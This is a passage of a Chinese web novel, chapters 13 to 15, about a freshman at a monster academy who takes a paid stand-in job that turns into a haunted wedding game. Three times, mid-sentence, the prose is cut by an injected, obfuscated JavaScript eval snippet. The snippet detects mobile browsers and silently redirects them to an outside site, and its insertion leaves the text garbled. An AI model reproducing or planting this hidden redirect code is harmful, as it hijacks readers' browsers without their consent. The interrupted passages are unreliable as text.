“会长,我不想出任务。” 13. 第十三章 “这是学生会的任务。”符停语气冷淡,却不容置疑。 李灼说:“可是我的店面才起步,走不开,你换个人去吧。” “不行。” “不想去。” “不行。” “……” 李灼还想争取,转眼看到符停袖口探出的一小节黑色雾气,巨大的压迫席卷全身,他不再废话,藏在面罩下的嘴巴抿了抿。 “知道了会长。”李灼道,“没有什么事的话,我先回店里了。” 符停站起身,两个一米九面对面矗立着,像是支撑起天花板的柱子,路过的人纷纷侧目。 “多谢配合。” “不谢。” 李灼举着刮刀回到店里,将下一批小面包放进烤箱,等待期间,他在校园集市论坛上发布了匿名帖子。 只是接了任务,又没说自己要去。 主题:【找代课,有偿。请加我球球。】 楼主:【匿名】 如题,简单任务,大佬队伍,划水就行。 一楼:【骨生花】 听到有钱拿我立刻就来了,给多少? 李灼仔细计算了蛋糕店的收入和开支,又看了任务队伍里其他人的名字:【朦胧见】【窃影】【青衣摇】,妥妥的三个大佬带飞,于是压了压价,回复了个“3000”。 三楼:【骨生花】 成交。 叮—— 小面包烤好了,李灼满意地端出来摆盘。表皮黄脆焦香,里面柔软细腻,再撒上椰蓉粉,小面包们在展柜昏黄的灯光下散发魅力,举手呼喊“吃我吃我”! 花添错三步并作两步下楼梯,高高扎起的细长发辫跟尾巴一样摆动。 好潇洒。 喻连枝用手机反光观察自己的头发。 大学果然是不一样,身边二次元、亚文化爱好者、时尚达人的比例暴增,一眼望去,食堂里充斥着各种各样颜色的发型,以及各种小众打扮。 反观自己,还是跟高中一样土。 “照镜子呢?” 喻连枝唰得把手机藏到身后,“没啊,哥你好有性格,头发留这么长。” “这算什么性格,家里传下来的习俗而已,从小就留着了。”花添错把鞭子往脖子上一甩,绕了一圈,做出一副上吊的样子,“你要是在学校见到这个发型的,那是我哥。” 喻连枝想了想,目前没见过。 花添错:“我的头发不能剪不能染不能烫,麻烦死了。你呢,家长不让?” “他们倒不怎么管。”喻连枝犹豫道,“不过,我还没成年。” 小时候因为喻先生被调往边际省工作,陈女士又忙自己的事情,他很早就上学了,因此比同学们小一岁。 花添错震惊地看着他。 喻连枝挥挥手,“就差一个月了,等生日那天,”他指着头顶,“我要把这玩意儿染成绿的。” 花添错托着下巴思忖,给出了宝贵的建议。 “红的好看。” 正要出食堂,一股勾人的香气直钻鼻腔。 小面包! “闻到香味了,好像是刚出炉!”喻连枝换了个方向,直奔灼光甜品店,“我大抵是该去吃甜品了。” 来得早不如来得巧。 花添错瞅了一眼,“又排长队,有这么好吃吗?” 喻连枝说:“教官开的店,有钱的捧个钱场。” 花添错对手指,“没钱的呢?” “没钱的去偷去抢。”喻连枝被自己的单押逗笑了,“法制社会,口嗨一下,我请客。” “我钱都借给我哥了,下个月再请你!” “都是兄弟,别见外。”喻连枝换了个话题,“食用甜食可以获得短暂的幸福感,我这几天太不幸,必须抚慰一下自己崩溃的精神。” 从活师园出来后,他连续做了好几天噩梦,又是吃蝌蚪又是被蝌蚪吃,上网一搜,百度说是ptsd。 花添错指着广告牌,“招牌是香软小面包,我想吃这个。” “看起来不错,我也吃这个。” 李教官全副武装站在柜台后面夹面包,军训结束了,他依然覆面,不苟言笑的样子让人难免紧张。 喻连枝总感觉李教官夹的是面包,递过来的却是一个手榴弹,然后猛得命令他卧倒…… 不能乱想,马上要轮到他了。 人群中出现一个格格不入的身影。 花添错用胳膊肘拐他,瓮声瓮气道:“快看,面瘫也爱吃甜品。” 喻连枝在心里默念“我要一个香软小面包一个香软小面包”,转头瞥见衣冠楚楚的符停走进店里,不禁腹诽:这个面瘫怎么阴魂不散? 面前,李教官冷峻地问:“你要什么?” 喻连枝脱口而出:“我要一个香软小面瘫。” …… 寂静无声。 李灼道:“面包在这。”他又指了指某人,“面瘫在那。” 喻连枝:不是,我真不是这个意思。 香软小面瘫符停带着血雨腥风走到柜台,放下一张校园卡就走了。这种卡印着污染物学院的logo,全校可用,也可以转出折现。 李灼拿过卡,在机器上刷一下。 余额:10000元。 减去三千净赚七千,怪不得说二道贩子都暴利。 哦豁,赚翻了。 — “哥,我买了几个小面包,吃吗?”喻连枝举着盒子问。 “臣妾要告发熹贵妃私通……” 杜影一边看《甄嬛传》,一边将身上是绷带拆下来,然后换成新的。 他按下暂停键,像小学生那样举手,语气毫无波澜:“吃。” 薄空朦从床上单手翻下来,动作潇洒利落,一道发丝随风滑过鼻梁,“是灼光甜品店的么?” “是,刚好碰上了。”喻连枝分发小蛋糕,说:“哥,以后还是踩着楼梯下吧,小心摔了。” 薄空朦幽幽道:“多谢提醒。你明天正式上课了?” “对啊,好像是什么污染物基础课程,也不知道要教什么。” “你的开学测试成绩刷新记录,应该没什么可学的了。” 喻连枝心里一惊,喝了一口水。 他摸不准薄学长这话是什么意思,涂乐意说,自己破的是薄学长的记录,这真是……太尴尬了。 “运气,都是运气。” 薄空朦道:“今年的枫叶好像不够红啊。”他阴恻恻地说完,自己先笑了,“开玩笑的,多谢你的小面包。” 喻连枝如释重负,坐回位子上,“那我先休息了哥。” 杜影慢慢吃着面包,然后戴上了耳机。 薄空朦说:“明天学生会在十字路口招新,欢迎来看哦。” “呃……好。” 喻连枝洗漱完,趴在被窝里和【灾厄】聊天。 【帘子】:好奇怪,我有个室友一周没回过寝室。 【灾厄】:谁,他登记了吗? 【帘子】:我不知道啊,不认识,挺神秘的…… 【帘子】:今天又当众社死了,和宿敌扯上就没好事。 喻连枝顺手发了个哭泣小猫表情包,配文“S属性大爆发”,旁边还有个小小的“sad”。 手机另一头,符停独自坐在一个黑漆漆的空间里,四面垂直矗立着连接上下的钢筋。 是个笼子。 他放任自己的下半身异化,无数扭曲的触手溢出,焦躁不安地卷上钢筋笼,连接处发出金属的撞击声。 疯狂的黑色血液在血管里呐喊,兴奋的触手绞杀着什么东西,符停感觉自己的心脏快要破体而出。 下一秒,他的胸膛被活生生剖开,漆黑如墨的触手张牙舞爪地涌出,触手群中间的心脏位置,有一只如同深渊的眼睛。 符停额头青筋暴起,双目仿佛点缀着鸽血石,骨节分明的手指触碰向胸膛的柔软腕足…… 触手感应到主人,乖巧地绕上手指,亲昵相蹭。 他眸中的暴戾忽然倾泻而出,近乎自残地扯掉那些触手。黑色的血浆溅到脸上,他毫无感情地看了一眼手中尚在挣扎蠕动的物体,然后厌恶地扔掉了。 好丑。 为什么我是个丑陋的污染物?他不解地想。 手机嗡地震动,将思绪从深渊中拽了出来。 符停捡起来看了一眼,一个表情包,他流露出些许茫然的神色。 “S属性是什么?” 他的声音在污染领域中回荡,一些猖狂的黑影听到后,畏惧地匍匐在地上。 但无人回答。 — 正式上课第一天,喻连枝准时起床,他给【灾厄】发了句:早上好我的朋友,然后静悄悄地洗漱出门了。 来到教室,他和史钟依旧是同桌。 史钟一口气吃了三个包子和两个茶叶蛋,鼓足勇气看向喻连枝。 天知道他有多害怕,活师园里差点被吞的事情吓得他三天三夜没睡着觉。 看了校心理医生后,心理医生说是ptsd,喝了两天抑制剂总算能睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622966|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也想开了些。 连理枝又不是故意的,失控时污染物自身也很难受,所以自己作为朋友,不应该因为这件事就疏远他。 “你、你喝不喝牛奶?” 史钟把多买的一瓶盒装牛奶推了过去。 喻连枝拍了拍他的肩膀,“谢啦兄弟。” 史钟抿着嘴笑,“没事,上课了。” 教授大步从门口走进,银白色头发,戴着金丝眼镜,穿着一身得体的烟青色西装,眼梢细长,举手投足间带着文人墨客的雅韵。 “教文学的吧?”喻连枝刚说完,和跟在教授身后进门的人对上视线,“……” 花添错一脸没睡醒的样子,头发上的食人花也合着嘴,蔫蔫地垂下脑袋。 教授说:“早上好,我是诸位基础课的老师何浮白,记录名称【浮白载笔】,我也将负责诸位的中级和高级课程……【齿花】同学,请你随便找个位置坐下。” 花添错哦了一声,搬着板凳和喻连枝拼桌了。 “你怎么来上大一的课?” “挂科了。”花添错强打起精神,小声蛐蛐,“你别看老白长得人模狗样温文尔雅,他可严格了,还压分呢!” “这么恐怖。” “小要求贼多,难伺候死了。” 何浮白清凌凌的眼神落在二人身上,“请诸位保持安静。” 喻连枝闭起嘴巴,拿起笔认真听课,老师说啥他记啥。 何浮白道:“诸位同学都是污染物,我也就不再赘述一些无用的知识了。我们都知道,‘痛苦’是污染物的根源,痛苦使我们出现自我毁灭的念头但同时,痛苦也是第一驱动力。” 痛苦…… 喻连枝忽然想起玛丽亚.E问自己的“你痛苦吗”,时至今日,他的回答还是不。 不痛苦。 何浮白扫视全班:“污染物初级课程,简单来说就是自我控制。学会如何控制自身的‘伴生物’不伤害自己,并且听话,是很重要的。” 喻连枝越记越迷糊。 他没有伴生物……之前那些白色的浮游生物算么? “第一节课的作业内容:驯服伴生物,要求做到以下几点……” 花添错睡着了。 何浮白皱眉,一只细笔从手掌中飞出,直直撞在花添错的脑门上,画了个“x”。 花添错猛得睁开眼,“对不起老师,我太困了。” “【齿花】同学,你来给大一的学弟们演示一下驯服的要点。”何浮白道:“第一:坐下。” 花添错瘪了瘪嘴,俊气的脸从中间爆开,吐出一只巴掌大的食人花。 小食人花的根茎扎在主人的手背上,森森獠牙随着叶片左右晃。 “坐下。”花添错命令道。 小食人花听懂指令,茎部一弯,竟然真的坐下了。 还挺可爱。 何浮白微微颔首,“第二:握手。” 花添错:“握手。” 小食人花一动不动。 “握手啊,给个面子哥。” 终于,小食人花抖了抖,伸出一片绿莹莹的叶子,搭在他的手指上。 何浮白:“第三:转圈。” 喻连枝越听越不对劲,等等,这不是训狗课程吗? 重生之我在大学当训狗师? 前两个指令都做对了,花添错挑了挑眉,自我膨胀,牵着叶片道:“转圈!” 小食人花转了半圈,然后扭头给了他一口。 “嗷。”花添错吃痛地甩开手,一脸“恨铁不成钢”的气愤,把小食人花收回去了,骂了句“逆子!” 何浮白无奈地摇了摇头,走回讲台。 “本节课程持续两周,两周之后,将会有小测,希望大家勤加练习,取得优异的成绩。温馨提示,挂科是要重读的。” 此话一出,教室里鬼哭狼嚎,唉声叹气连成一片。 史钟满脸愁绪,“我连异变形态都控制不住,还要控制伴生物。” ……我连异变体都没有。 喻连枝更是望向苍天,语气苦涩地问:“小测的时候我训自己可以吗?会坐趴握手,会定点上厕所,冷了会吃饭,饿了会穿衣,这样独立的小狗不多了。” 花添错:“逆子!” 三个挂科预备役勾肩搭背往回走。 回寝室的路经过一个十字路口。 此时这里人山人海,音箱里传出动感的舞曲,伴随着尖叫和掌声,气氛热烈到极点。 花添错一下就亢奋了,“招新活动?看看去!” 14. 第十四章 踏入人群包围圈,光线瞬间暗了。 喻连枝对这种事情早就见怪不怪,估计是哪个同学的污染物领域。 正中心搭了一个舞台,伴有专业的灯光和舞美,啪——灯光一闪,聚光灯下,一个舞团闪亮登场。 花添错挤眉弄眼,“我靠太燥了,你也一起跳吗?” 喻连枝连连摇头,“不行不行,我没学过舞蹈,还是顺拐,跳舞将会丧失四年择偶权。” 史钟探过头,“择偶……你也是gay?” “?” “我们是男校,择什么偶?” 男校?不可能,最多只能说是男女比例失调。 喻连枝环视四周,周围都是奇装异服和长发,不仔细看不出性别。 动次打次动次打次…… 鼓点分明的音乐震耳欲聋,忽然将人拉进了某个歌舞表演现场,忍不住跟着音乐跳起来。 现场气氛热烈,表演的是非常经典的女团舞《nobody》。 恍惚间,喻连枝觉得领舞的女生有些眼熟,细腰长腿,女团打扮,马尾卷成波浪从左边摆在胸前。 沈青学姐?! 喻连枝迫不及待地证明,“不对,沈学姐就是女生,污染物学院怎么可能是男校?” 史钟沉吟片刻,“你喊他……学姐?” 花添错乐呵道:“他是我室友。” 喻连枝:“……” 花添错真诚地拉起他的手,“恭喜你,获得优先择男偶权。” 天塌了。 “我是直的……” 他还想说什么,左右两边的人竟然迅速沉浸于音乐之中。 花添错摇头晃脑,跟着唱:“I want nobody nobody but you~” 他拍拍双手,翘脚往前指。 不忍直视。 “哥们,有点火热了。” 扭头一看,害羞内敛的小胖子史钟也开始:“ I want nobody nobody but you~” 他过于兴奋,异变为史莱姆,在原地蹦蹦跳跳。 周围,所有的人都跟着台上的专业舞者做动作,姿势堪比一比一复刻,分毫不差。 【青衣摇】污染领域展开。 沈青看着台下的反应,嘴角扬起欣慰的笑,但看到无动于衷的喻连枝时,笑僵住了。 他是三级的污染物,居然有人能抵抗他的操控?说明对方的等级高于自己。 而且这人才大一,未来可期啊喻同学。 他借着舞蹈姿势朝喻连枝抛了个飞吻。 喻连枝一想到沈青是个同性,脸噌得红了,连连后退挤出包围圈,还好【青衣摇】的污染范围不大,眼前黑暗褪去,重新切换回蓝天白云。 扭头一看,污染范围内的同学舞步整齐划一,如同一只只僵硬的提线木偶。 诡异中又带着一丝炸场。 花添错和史钟还沉浸在舞蹈之中,眼里闪烁着狂热的光芒。 “……算了。” 喻连枝决定自己先回寝室。 走了没两步,前方传来争执声,一个陌生同学愤怒地掀了桌子,大声道:“你凭什么不让我进文艺团?!” 质问的对象正是薄空朦,他抱着胳膊,无情道:“文艺团不收丑b。” 好歹毒! 喻连枝震惊了,37°的嘴怎么能说出这么冰冷的话? 那名同学被言语刺痛了,控制不住自己,下半身逐渐融化,变成一只白胖的蠕虫。 一颗人类的头,嫁接着蛆的身体。 “我要!加入!文艺团!我要!漂亮对象!” 他说话时,分裂出数十只蠕动的蠕虫。 喻连枝见不得虫子,毛骨悚然,但内心的正义感驱使他上前一步。 “进入文艺团就是为了找对象吗?”他大跨步走过来,正义道,“这就是薄学长不让你加入的根本原因!” “谁进文艺团不是为了找对象?”虫子同学反问,“不然为了什么?” 喻连枝目光炯炯,“当然是为了使命!” 虫子同学往前蠕动,“我不管!你必须让我进!必须!否则!” “否则怎样?” 薄空朦表情不变,只是做了个手势,一缕轻飘飘的雾气从他的嘴里飘出,像是吐了一口烟。 烟雾缭绕中,隐约有一张笑面桃花脸。 喻连枝顿时明白了为什么薄学长的“绰号”是【朦胧见】。 朦胧见,鬼灯一线,露出桃花面。 当烟雾被吸入鼻腔时,虫子同学怔住了,像是突然发了癔症,又哭又笑,眼泪和口水齐流,拼命蠕动肥硕的躯体。 人群散开一个圈。 薄空朦的声音在后脑勺荡开,“连理枝,你说的使命是什么?” 喻连枝的目光从虫子上收回,心情复杂,“为同学服务?” 薄空朦摇头,抛出橄榄枝,“加入文艺团,同学为你服务。” 另一边,学习部也开始吆喝拉人。 杜影笔直站立,嘴巴一张,“加入学习部,我们没套路,不要求尬舞,就是这么酷,这么酷!” 喻连枝扭过脸。 薄空朦:“别听,别看。” “杜学长的人设总是碎成渣渣。” 杜影悄无声息潜伏而来,一张申请单塞到喻连枝手里,“学习部了解一下。” “文艺团更适合你呢。” 形影不离的二位学长竟然为了招新争锋相对,友谊的小船说翻就翻。 喻连枝拿着学习部和文艺团的申请单,压力如山,回去就想把两张表格塞到垃圾桶,永世不得超生。 还学生会,看到符停就烦! 他回到寝室,只见门口趴着一个人,通过门缝用指头往里塞传单。 “可以让一让吗?”喻连枝问。 这人爬起来,从容地拍了拍衣服上的灰,丝毫不显尴尬。他脸颊尖削,发间一朵艳丽红花,脖子上缠着两圈辫子。 特征过于明显,喻连枝哦了一声,“花添错的哥哥?” 花亦骨一愣,随即笑了,“原来是我弟的朋友,真是有缘啊,小同学,有没有兴趣干兼职?” “什么兼职?” 这是喻连枝今天接的第三张单子了,前两张的归宿的垃圾桶,但这张他挺感兴趣的。 花亦骨觉察到了,蛊惑道:“很简单的,代课。老板有事情,找个人去点到,这种你知道吧。” 喻连枝点头,“听过,但是代课一般要做什么?” “我这个代课任务非常划水,团队合作类型的,有大佬带飞,你可以借机学习,当然,如果不想学,吃吃喝喝玩玩手机也无所谓,人到了就行。” 喻连枝低头看着传单上“兼职找我”四个大字,有些心动。 花亦骨眼底流露出些许老谋深算,乘胜追击,“而且是校外任务哦,附近就是购物中心。” “校外?可以请假?” “我会带你出去,这个你放心。” 污染物学院实行封闭式管理,出门必须得要假条,否则门卫老头可以追着咬一公里。 当然,还会被学生会的人抓回去关禁闭。 喻连枝这几天憋得慌,要是能去校外散散心,看看真正的人类也不错,有利于恢复身心健康。 花亦骨拿起手机,喂喂了几声,“哦,你是说你对代课感兴趣是吧,我这边现在有点事,对,往返车费都报销的……” 喻连枝连忙说:“哥,我去!” “不好意思,这个活没了,下次再说啊拜拜挂了。”花亦骨放下手机,“加个好友,我把地点什么的发给你。” “代一节课有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622967|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少钱啊?”喻连枝好奇地问。 花亦骨比了个八的手势,“这个数。” “八十?!” 花亦骨勾起嘴角,“八百。” 喻连枝错愕不已,怀疑自己听错了。代课也太赚了吧,一天赚八百?离月入过万也不远了。 他坐到椅子上,仍然感觉不可置信,但花亦骨已经将250的定金转了过来。 这钱来得太不真实,喻连枝郑重地给董大冬发了消息。 【帘子】:经过决策,我将取消pdd先用后付。 董大冬在上课摸鱼,回了个震惊的表情:“你不想活了?!” 【帘子】:错,我赚翻了。 喻连枝又把同样的消息发给了【灾厄】,不一会儿,也有了回复。 【灾厄】:pdd是什么? …… 世界上竟然有人不知道pdd?! 喻连枝手忙脚乱地打开某红色软件,发了个链接过去。 【帘子】:新用户助力一下,谢了(玫瑰花) — 华座购物商城,盘淅区城市生活的璀璨明珠,打造高端娱购体验,从外面看,如同小型的首都鸟巢,精致的钢筋铁骨交叉成一道迷人的建筑光景。 巨大商城的阴影之下,蛰伏着一块如同狗皮膏药般丑陋的老小区。 “曼哈顿?小伙子,你说错了吧,这里只有曼哈屯。” 司机把着方向盘,看了一眼副驾驶上的乘客。 从普鲁圣出来的大学生,穿着蓝色格子棉质衬衫,藏蓝色牛仔裤,背着黑白色皮质斜挎包,皮肤白皙五官端正,眼神清澈愚蠢,是最好骗的那种乘客。 喻连枝摘下耳机,又看了一遍聊天记录,“还真是曼哈屯小区。” 司机说:“那地方拆迁了,你是拆二代?” “不是不是,我找人,随便定的位置。”喻连枝打了个哈哈。 “这样啊,我看你跟我儿子差不多大,奉劝你一句。”司机压低声音,“晚上别在那边逗留,你知道为什么拆了那么久还没修建吗?” 喻连枝屏住呼吸,“为什么?” “因为那里有鬼。” “师傅你这是迷信啊,”他猜测道,“会不会是有什么钉子户,闹出来的风言风语。” 司机说:“你不信就算咯,反正我是不会去的。前段时间我开过这边,听到里面传来结婚的奏乐声,阴森森的,吓死人了。” 喻连枝心道你要是知道我是个什么东西,也会吓死的。 “曼哈屯到了。”出租车缓缓停下。 “谢谢师傅。” 喻连枝关上车门,小区门口空无一人,凄凄惨惨,保安亭只有一平方米左右,玻璃门不知被什么东西杂碎,溅射出黑红色的油漆印。 他有一瞬间的后悔。 但一想到八百块的外快,不得不硬着头皮往里走。 花亦骨说团队还有三位学长,他只要跟着打打下手就行。 单元楼里走出来一个年轻男子,黑衣黑裤大金链,露出的胳膊上有一截青色纹身,“你总算来了,哥们都等急了。” 污染物学院什么样的人没有,有个社会大哥也很正常吧。 喻连枝叫了声“学长好”,然后乖乖跟着上楼了。 一单元一零一室。 他被一群人摁着坐到凳子上,喻连枝看着镜子中自己慌张失措的脸,觉察到不对劲,推开旁边阿姨拿着化妆刷的手就往外跑。 门外站着密密麻麻的社会大哥,抱着结实的臂膀,数十人齐刷刷地开口。 “你要去哪里?” 传销,这绝对是传销。 喻连枝心里警铃大作,右手慢慢伸进包里,摸到手机,“我、我去上厕所。” 这些人没有让开,声音如同恶魔低语。 “你不结婚了?” 15. 第十五章 这年头传销还搞逼婚这套了? 识时务者为俊杰,喻连枝闭着嘴坐回位子上,任由旁边的卷发阿姨在他的脸上拍拍打打。 “咳咳咳,这是什么?好呛。” 卷发阿姨的语调很温柔,就是普通一个化妆店小作坊里可以找到的那种时髦老板娘。 “散粉,你知道吗,就是用来定妆的,很好的牌子,一天下来妆都不会花。” 喻连枝目光落在散粉盒子里,灰白色的颗粒,像刮下来的墙皮碾成的粉。 “什么牌子?” 卷发阿姨:“骨灰牌。” 喻连枝猛得偏过头,涂了亮片的眼皮闪闪发光,“骨灰粉就骨灰粉,还骨灰牌?!阿姨你开玩笑的吧,能不用吗?” 卷发阿姨的手顿在空气中,语气冷了下来,“不可以。” 她那一头离子烫的卷发似乎动了,喻连枝眨了眨眼——没错,这些头发是活的,像蛇一样蠕动! 她不是人,她是“美杜莎”。 喻连枝彻底碎了,他早该知道的,花亦骨说的什么实地考察调研课程都是放屁!污染物就没一个好东西! 老小区隔音很差,楼上传来桌椅挪动的噪音,刺耳尖锐,窗户里飘进来些许欢声笑语。 但他在门口时什么都没看到,这里分明是一个无人居住的小区。 一切都说得通了,又是一个类似“活师园”的死亡幻想之地。 上一次,自己死了才莫名其妙破解了【活师】,这次呢,又要死一次吗?不行! “滚开啊啊啊啊啊啊!” 喻连枝掀翻化妆桌,砰得一声推门就跑,朝着社会大哥就撞上去。 “我告诉你们,像你们这样的污染物我杀了好几个,识相点放我出去!” “结婚、结婚、结婚……” “结你个头!”喻连枝张开手掌,希望那些可爱的银白色浮游生物出现救场。 无事发生。 然后,他在拳打脚踢中被社会大哥们扛了回去,摔在地上。 卷发阿姨:“还没化好妆,不要着急。” 喻连枝撑起身子,挣扎道:“我我我未成年,没到法定结婚年龄……” 卷发阿姨阴恻恻地笑了两声,张开嘴,一条细长的银蛇从她的嘴里嘶得钻出来,冲着喻连枝吐信。 银蛇口吐人言,是个男子的声音,“骗子,给我老实点。” 三角头,两颗獠牙,和眼镜蛇有几分相像,长得就一副剧毒的样子。 “……老实了,求放过。” 喻连枝欲哭无泪,呆傻地坐了回去。 卷发阿姨很满意客人的配合,继续上妆。 口红涂到嘴巴上时,一股恶心又浓郁的血腥味扑面而来。 “这……什么口红?” “狗血。” 喻连枝闭上眼睛,他就多余问。 “好了,真是个帅小伙儿,别让新娘等急了。”卷发阿姨往他的胸前别了一朵大红花。 喻连枝被推出一零一室,出去的路被一群壮汉堵住,他只好往楼上走。 楼梯两侧的墙壁上贴着红色的“囍”,底下的浆糊刷得太多了,黏糊糊地往下滴落。 二零一室,门虚掩着,里面传来几个交谈声,听不真切。 里面很暗,几个光点轻微晃动,总觉得一拉开门,会有一张阴森鬼面来个突脸杀。 喻连枝挂着大红花,深呼吸,手落在锈迹斑斑的门把上,缓缓推开—— 室内中心摆放着古董茶几,桌上散落各式各样的喜糖和果干,旁边麂皮沙发上坐着的三个人扭头看向他。 “学长?!” 薄空朦、杜影、沈青?喻连枝准备揉眼睛,忽然想到自己贴了仙子毛,只能用力地眨了眨眼。 沈青柔柔地倚在沙发上,“啊,看来人到齐了。” 薄空朦:“来给李灼代课?大一就这么努力。” 喻连枝点头,虽然他并不知道源头卖家是谁。 “行,那我们开始分析情况。”薄空朦指了指空位,“坐。” 走近了些,杜影盯着他浓妆艳抹的脸,面无表情道:“你真配合,居然化妆了。” 他们直接恐吓了一番,然后上了楼。 “也不算配合吧。”喻连枝云淡风轻,尽力保留自己的脸面,“些许风霜罢了~” “我们现在正处于【银蛇】的污染领域内,短短五天他从一级升到三级,好在目前已经稳定住了。” 薄空朦说完,沈青接着道:“【银蛇】有主场优势,但我们小队两名超二级一个三级,还有一位……” 目光锁定喻连枝。 污染物学院里的规定,年纪约等于污染等级,所以喻连枝现在大一,也就是一级污染物。 沈青端着下巴,“还有一位杀手锏。总之,优势在我方。” “不敢当不敢当。” “麻烦的是,据之前出任务的同学说,【银蛇】尚有意识,而且非常狡猾,不愿意出面谈判,杀手锏,听说你在考试中表现优异,这种情况如何解决?” 喻连枝一愣,求助地看向杜影。 杜影淡淡道:“陪他玩。” “好,陪他玩……玩什么?” 薄空朦撩起眼皮,“剧本杀。” 话音刚落,一个红袍女人推门而入,喜庆的笑容堆在僵硬的脸颊上。 她径直朝喻连枝走去,激动地说:“新郎官,红包准备好了吗?该去接亲了。” “我……” “快点找,不要误了吉时。”女人招呼着后面的人,“伴郎都在这里了,找到红包就出发!” 沈青拿起一旁的礼炮筒,“马上。” 喻连枝心领神会,剧本杀开始了。 ……同一批进来的人里只有一个人能拿到“新郎”剧本,但是为什么倒霉蛋又是他啊?! “红包在这个屋子里吗?” 女人咯咯直笑,“是的,新郎官。” 喻连枝认命地起身寻找,拉开茶几柜子…… “卧槽!”他甩开手,连跑三步,寒毛炸开。 中奖了!柜子里有一团密密麻麻的小蛇,和毛线团一样缠绕成球。 一道烟雾飘来,成团的蛇群四散逃开,贴着柜子边角消失不见。 薄空朦放下手指,依旧是一副处变不惊的神色。 喻连枝投去感激的眼神。 学长虽然嘴毒,但心肠很软。 女人不满地眯起眼睛,唇间探出一条红色的信子,“伴郎们先去准备香烟和喜糖,接亲队伍马上出发。” 杜影脚下影子如水晃动,被沈青一脚踩住了。 沈青低声道:“照他说的做,走。”他忽而扬起笑脸,“学弟,一会儿再集合,我们在楼下等你。” 三位可靠的学长潇洒离开,留下喻连枝一人,抱着大红花故作镇定。 好在柜子里蛇群散去,露出底下的一个红包封,上面写着“百年好合”四个字。 “找到了,这下可以出发了吧?”喻连枝捡起红包,示意道。 女人摇摇头,“新郎官,可不能用空的红包哟。” 红包里没放钞票,是空的。 他身上也没有现金,拿什么装?喻连枝一筹莫展,直到看到女人挂在腰间的二维码。 靠,太贪了! 接下来的话他自己都觉得荒唐,“那个,可以跟你换一点钱么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622968|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 女人眼中划过一抹得逞的奸诈,“v信还是z付宝?” “……v信。” 这下不仅把刚赚来的定金交了出去,连剩余的两千生活费也留不住,当余额显示为零时,女人从口袋中拿出一沓“天地银行”。 喻连枝点完钱,“我竟然不知道,人民币和冥币的汇率是一比一。” 女人收回二维码,“新郎官,时间到了,该下楼了。” 他跟在女人的身后,紧紧攥拳,决定重启pdd先用后付。 — 杜影拎着一个鼓鼓囊囊的红色塑料袋,里面装着香烟和糖果。他顺手摸出一颗巧克力,放进嘴里后,巧克力融化,变为一群细如银鱼的蛇,颇有一种吃日本跳活白鱼的口感。 薄空朦在前面开路,【朦胧见】污染领域展开,只见四周白雾弥漫,叉着腰的彪形大汉吸入雾气,软趴趴地倒在地上,七窍钻出一条条细长的蛇。 这些银蛇伴生物本能地逃向阴暗角落,但它们游进阴影时,忽然被一双无形的黑手捏住七寸,抽搐几下后爆开了,五脏六腑散落一地。 【窃影】的伴生物——影子。 银蛇伴生物被吞噬,褪去银色,转而变为一道漆黑如墨的蛇皮,乖顺地爬进塑料袋,幻化成巧克力、夹心软糖、饼干、香烟…… 沈青伸出手,“来把瓜子。” 杜影在口袋里掏了掏,竟然真的摸出一把奶油风味瓜子。 三人大摇大摆地走到婚车旁,沈青什么都没干,耸了耸肩,“后生可畏啊,现在的大二学生都这么厉害了,让我这张老脸往哪搁?” 薄空朦提了提嘴角,“往地上搁。” 沈青僵了一瞬,啧啧两声,“部长,嘴真毒啊。” “老部长,一脉相承。” 沈青上一届是文艺团的部长,本来应该和符停这个学习部部长一样,连任四年,但他中途竞选上了院长秘书一职,分身乏术,于是退位了。 竞选部长这种事情,不看身份不看等级,谁打赢了谁上。 文艺团还有好几个三级污染物,竟然都没打过二级污染物【朦胧见】,也是离奇。 两人靠在车旁聊了一会儿,才等到“新郎官”下楼。 杜影把香烟喜糖发给司机,车门锁扣哒地一声打开了。 喻连枝面如死灰,“走吧。” 薄空朦目光带着点探究,“你看起来很平静,军训效果不错。” 喻连枝心道如果你知道我经历了什么,你也会觉得我命苦,叹气,“接受良好,我当是一场梦。” “不错的想法。”薄空朦赞叹,“说不定人生就是一场梦,梦醒时,现在其实还是在八岁的夏季,当时我应该在院子里,和我妈的学生们一起练基本功。” 沈青好奇道:“那时候你也这么恶毒吗?” 薄空朦震惊,睁大眼睛,“怎么可能!我可是很讨喜的,最多在心里诅咒比我练得好的人通通死掉。” “……还是很恶毒啊。” 喻连枝坐上副驾驶,习惯性地拉上安全带,侧头看向旁边。 如果是蛇头人,还勉强能够接受。 